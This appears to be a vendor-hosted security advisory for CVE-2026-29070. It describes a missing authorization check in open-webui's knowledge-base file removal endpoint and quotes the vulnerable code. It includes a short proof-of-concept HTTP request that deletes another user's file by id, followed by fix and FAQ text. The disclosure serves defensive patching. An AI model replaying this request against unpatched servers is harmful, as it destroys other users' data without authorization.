CVE-2026-29070

An access control check is missing when deleting a file from a knowledge base. The only check being done is that the user has write access to the knowledge base (or is admin), but NOT that the file actually belongs to this knowledge base. It is thus possible to delete arbitrary files from arbitrary knowledge bases (as long as one knows the file id)

Details

The source code at https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/knowledge.py#L803 does not properly validate that the file being deleted belongs to the current knowledge base:

@router.post("/{id}/file/remove", response_model=Optional[KnowledgeFilesResponse])
def remove_file_from_knowledge_by_id(
    id: str,
    form_data: KnowledgeFileIdForm,
    delete_file: bool = Query(True),
    user=Depends(get_verified_user),
    db: Session = Depends(get_session),
):
    knowledge = Knowledges.get_knowledge_by_id(id=id, db=db)
    [...]
    # Note  : Access control check on the knowledge base
    if (
        knowledge.user_id != user.id
        and not AccessGrants.has_access(
            user_id=user.id,
            resource_type="knowledge",
            resource_id=knowledge.id,
            permission="write",
            db=db,
        )
        and user.role != "admin"
    ):
        raise HTTPException(
            status_code=status.HTTP_400_BAD_REQUEST,
            detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
        )

    file = Files.get_file_by_id(form_data.file_id, db=db)
    [...]
    # Note : No checks on the file

    if delete_file:
        try:
            # Remove the file's collection from vector database
            file_collection = f"file-{form_data.file_id}"
            if VECTOR_DB_CLIENT.has_collection(collection_name=file_collection):
                VECTOR_DB_CLIENT.delete_collection(collection_name=file_collection)
        except Exception as e:
            log.debug("This was most likely caused by bypassing embedding processing")
            log.debug(e)
            pass

        # Delete file from database
        Files.delete_file_by_id(form_data.file_id, db=db)
[...]

PoC

Victim has a knowledge base with a file (id: 9db6dcee-bb3b-483e-aaf3-310fda366af1)
Attacker creates their own collection (id: dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b)
Attacker deletes the victim file from their own collection:

POST /api/v1/knowledge/dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b/file/remove HTTP/1.1
Host: gaius-neo-val.fr.space.corp
Authorization: Bearer eyJhbGciOiJIUzI1[...]nHiaod-3vfNE0
[...]

{"file_id":"9db6dcee-bb3b-483e-aaf3-310fda366af1"}

-----

HTTP/1.1 200 OK
[...]

The file is then deleted from the victim's knowledge base.

Arbitrary file deletion

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

CVE-2026-29070 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.6); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-29070? CVE-2026-29070 is a medium-severity missing authorization vulnerability in open-webui (pip), affecting versions < 0.8.6. It is fixed in 0.8.6. The application does not perform an authorization check before performing a sensitive operation.
2. How severe is CVE-2026-29070? CVE-2026-29070 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-29070? open-webui (pip) versions < 0.8.6 is affected.
4. Is there a fix for CVE-2026-29070? Yes. CVE-2026-29070 is fixed in 0.8.6. Upgrade to this version or later.
5. Is CVE-2026-29070 exploitable, and should I be worried? Whether CVE-2026-29070 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-29070 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-29070? Upgrade open-webui to 0.8.6 or later.